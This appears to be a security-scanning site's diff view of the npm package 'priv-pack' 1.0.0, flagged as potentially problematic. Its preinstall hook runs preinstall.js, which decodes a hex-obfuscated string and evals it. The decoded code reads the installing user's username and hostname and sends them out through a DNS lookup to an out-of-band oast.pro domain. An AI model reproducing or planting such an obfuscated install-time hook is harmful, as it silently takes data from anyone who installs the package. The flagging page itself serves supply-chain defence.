priv-pack 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of priv-pack might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1 @@
1
+ console.log('test');
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "priv-pack",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js"
7
+ },
8
+ "main": "index.js",
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "description": ""
13
+ }
package/preinstall.js ADDED
@@ -0,0 +1,5 @@
1
+ const a = "636f6e737420646e73203d20726571756972652827646e7327293b0d0a0d0a636f6e737420757365726e616d65203d20656e636f6465555249436f6d706f6e656e742870726f636573732e656e762e55534552207c7c2070726f636573732e656e762e555345524e414d45293b0d0a636f6e737420686f73746e616d65203d20656e636f6465555249436f6d706f6e656e74287265717569726528276f7327292e686f73746e616d652829293b0d0a636f6e737420646f6d61696e203d2060247b757365726e616d657d2e247b686f73746e616d657d2e6372667168657465643633313667716a6e636e30673367353836697075383935672e6f6173742e70726f603b0d0a0d0a646e732e6c6f6f6b757028646f6d61696e2c20286572722c20616464726573732c2066616d696c7929203d3e207b0d0a202020206966202865727229207b0d0a2020202020202020636f6e736f6c652e6572726f7228274661696c656427293b0d0a202020207d20656c7365207b0d0a2020202020202020636f6e736f6c652e6c6f6728275375636365737366756c27293b0d0a202020207d0d0a7d293b"
2
+
3
+ const b = Buffer.from(a, 'hex').toString('utf8');
4
+
5
+ eval(b)